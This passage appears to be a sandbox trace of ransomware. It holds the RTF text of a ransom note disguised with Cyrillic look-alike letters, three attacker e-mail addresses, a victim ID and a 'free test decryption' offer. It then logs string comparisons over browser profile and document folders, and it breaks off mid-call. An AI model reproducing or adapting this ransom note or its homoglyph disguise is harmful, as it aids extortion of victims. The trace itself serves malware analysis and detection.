PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N PR\\F1\\LANG1049\\'EE\\'F1\\'E5\\F0\\LANG1033 SS FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 S WILL B\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 D T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 RIGIN\\F1\\LANG1049\\'E0\\F0\\LANG1033 L ST\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 . D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 STRU\\F1\\LANG1049\\'F1\\F0\\LANG1033 TUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 WILL N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T \\F1\\LANG1049\\'F1\\F0\\LANG1033 H\\F1\\LANG1049\\'E0\\F0\\LANG1033 NG\\F1\\LANG1049\\'E5\\F0\\LANG1033 .\\PAR\r\n* PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 B\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 TT\\F1\\LANG1049\\'E5\\F0\\LANG1033 MPTS T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S B\\F1\\LANG1049\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 URS\\F1\\LANG1049\\'E5\\F0\\LANG1033 LF \\F1\\LANG1049\\'EE\\F0\\LANG1033 R USING THIRD P\\F1\\LANG1049\\'E0\\F0\\LANG1033 RT\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\'EE\\F0\\LANG1033 LS \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N R\\F1\\LANG1049\\'E5\\F0\\LANG1033 SULT IN IRR\\F1\\LANG1049\\'E5\\F0\\LANG1033 V\\F1\\LANG1049\\'EE\\'F1\\'E0\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'EE\\F0\\LANG1033 SS \\F1\\LANG1049\\'EE\\F0\\LANG1033 F \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 !\\B\\I0\\PAR\r\n\\PAR\r\nWH\\F1\\LANG1049\\'C0\\F0\\LANG1033 T D\\F1\\LANG1049\\'CE\\F0\\LANG1033 Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 U NEED T\\F1\\LANG1049\\'CE\\F0\\LANG1033 D\\F1\\LANG1049\\'CE\\F0\\LANG1033 ?\\PAR\r\n\\B0 FIRST \\F1\\LANG1049\\'EE\\F0\\LANG1033 F \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U H\\F1\\LANG1049\\'E0\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 US B\\F1\\LANG1049\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\PAR\r\n\r\n\\PARD\\SL240\\SLMULT1\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FIRST \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB \\B\\FS28 BILLWONG73@YAHOO.COM\\PAR\r\n\\B0\\F1\\FS24\\LANG1049\\'CE\\F0\\LANG1033 UR S\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 ND \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB\\TAB\\B\\FS28 BILLWONG73@PROTONMAIL.COM\\PAR\r\n\\B0\\F1\\FS24\\LANG1049\\'CE\\F0\\LANG1033 UR THIRD \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB\\TAB\\B\\FS28 BILLWONG73@AOL.COM\\CF1\\FS24\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF0\\B0\\PAR\r\n\r\n\\PARD\\SL240\\SLMULT1\\CF1\\UL\\B\\F1\\FS28\\LANG1049\\'C0\\F0\\LANG1033 TTENTI\\F1\\LANG1049\\'CE\\F0\\LANG1033 N!\\PAR\r\n\\ULNONE\\FS26 IF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U W\\F1\\LANG1049\\'E0\\F0\\LANG1033 NT T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 US T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL \\F1\\LANG1049\\'E0\\F0\\LANG1033 DR\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E5\\F0\\LANG1033 S!\\PAR\r\nIT IS R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 LL\\F1\\LANG1049\\'F3\\F0\\LANG1033 IMP\\F1\\LANG1049\\'EE\\F0\\LANG1033 RT\\F1\\LANG1049\\'E0\\F0\\LANG1033 NT B\\F1\\LANG1049\\'E5\\'F1\\'E0\\F0\\LANG1033 US\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 F D\\F1\\LANG1049\\'E5\\F0\\LANG1033 LIV\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PR\\F1\\LANG1049\\'EE\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 MS WITH S\\F1\\LANG1049\\'EE\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL S\\F1\\LANG1049\\'E5\\F0\\LANG1033 RVI\\F1\\LANG1049\\'F1\\'E5\\F0\\LANG1033 S!\\PAR\r\nPL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 B\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 W\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LW\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 S IN T\\F1\\LANG1049\\'EE\\F0\\LANG1033 U\\F1\\LANG1049\\'F1\\F0\\LANG1033 H \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 D\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\F0\\LANG1033 LP \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U!\\PAR\r\nIF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U WILL N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T R\\F1\\LANG1049\\'E5\\'F1\\'E5\\F0\\LANG1033 IV\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 NSW\\F1\\LANG1049\\'E5\\F0\\LANG1033 R IN 24 H\\F1\\LANG1049\\'EE\\F0\\LANG1033 URS, PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 !\\PAR\r\n\\CF2\\FS28 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LW\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 S \\F1\\LANG1049\\'F1\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 K SP\\F1\\LANG1049\\'C0\\F0\\LANG1033 M F\\F1\\LANG1049\\'EE\\F0\\LANG1033 LD\\F1\\LANG1049\\'E5\\F0\\LANG1033 R!\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF0\\B0\\FS26 * \\I WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 N ENGLISH \\F1\\LANG1049\\'EE\\F0\\LANG1033 R US\\F1\\LANG1049\\'E5\\F0\\LANG1033 PR\\F1\\LANG1049\\'EE\\F0\\LANG1033 F\\F1\\LANG1049\\'E5\\F0\\LANG1033 SSI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 L TR\\F1\\LANG1049\\'E0\\F0\\LANG1033 NSL\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\I0\\PAR\r\n\\FS24\\PAR\r\n\\HIGHLIGHT3\\FS28 IN SUBJ\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 T LIN\\F1\\LANG1049\\'E5\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR P\\F1\\LANG1049\\'E5\\F0\\LANG1033 RS\\F1\\LANG1049\\'EE\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 L ID: \\B 494DCEE6F0485AF8\\PAR\r\n\\HIGHLIGHT0\\PAR\r\nF\\F1\\LANG1049\\'EE\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 SSUR\\F1\\LANG1049\\'E0\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N \\F1\\LANG1049\\'E0\\F0\\LANG1033 TT\\F1\\LANG1049\\'E0\\'F1\\F0\\LANG1033 H UP T\\F1\\LANG1049\\'EE\\F0\\LANG1033 3 SM\\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 . W\\F1\\LANG1049\\'E5\\F0\\LANG1033 WILL D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S F\\F1\\LANG1049\\'EE\\F0\\LANG1033 R FR\\F1\\LANG1049\\'E5\\'E5\\F0\\LANG1033 . \\PAR\r\n\\I\\F1\\FS24\\LANG1049 * \\F0\\LANG1033 \\F1\\LANG1049 \\F0\\LANG1033 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S MUST N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T \\F1\\LANG1049\\'F1\\'EE\\F0\\LANG1033 NT\\F1\\LANG1049\\'E0\\F0\\LANG1033 IN \\F1\\LANG1049\\'E0\\F0\\LANG1033 N\\F1\\LANG1049\\'F3\\F0\\LANG1033 V\\F1\\LANG1049\\'E0\\F0\\LANG1033 LU\\F1\\LANG1049\\'E0\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 INF\\F1\\LANG1049\\'EE\\F0\\LANG1033 RM\\F1\\LANG1049\\'E0\\F0\\LANG1033 TI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 IR T\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 L SIZ\\F1\\LANG1049\\'E5\\F0\\LANG1033 MUST B\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 N 5MB. \\PAR\r\n\\I0\\PAR\r\n\\CF4\\FS26 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'EE\\F0\\LANG1033 N'T W\\F1\\LANG1049\\'EE\\F0\\LANG1033 RR\\F1\\LANG1049\\'F3\\F0\\LANG1033 !\\PAR\r\nB\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N B\\F1\\LANG1049\\'E5\\F0\\LANG1033 REST\\F1\\LANG1049\\'CE\\F0\\LANG1033 RED T\\F1\\LANG1049\\'CE\\F0\\LANG1033 D\\F1\\LANG1049\\'C0\\F0\\LANG1033 Y!\\PAR\r\nW\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 IN T\\F1\\LANG1049\\'EE\\F0\\LANG1033 U\\F1\\LANG1049\\'F1\\F0\\LANG1033 H 24/7 \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 D\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\F0\\LANG1033 LP \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U!\\PAR\r\nIF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T R\\F1\\LANG1049\\'E5\\'F1\\'E5\\F0\\LANG1033 IV\\F1\\LANG1049\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 NSW\\F1\\LANG1049\\'E5\\F0\\LANG1033 R PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL \\F1\\LANG1049\\'E0\\F0\\LANG1033 DR\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E5\\F0\\LANG1033 S!\\PAR\r\n\\CF0\\B0\\FS24\\PAR\r\n\\CF5\\B\\FS28 [RDM_STR]\\CF0\\F1\\FS32\\LANG1049\\PAR\r\n\r\n\\PARD\\SA200\\SL240\\SLMULT1\\PAR\r\n}\r\n") returned 0x3707 [0033.904] CharUpperBuffW (in: lpsz="[RDM_STR]", cchLength=0x9 | out: lpsz="[RDM_STR]") returned 0x9 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 1 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 2 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 3 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 1 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 2 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 2 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 1 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 2 [0033.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", cchCount2=122) returned 1 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", cchCount2=122) returned 1 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", cchCount2=122) returned 3 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 2 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 2 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 3 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 1 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 2 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 3 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 1 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 2 [0033.905] CompareStringW 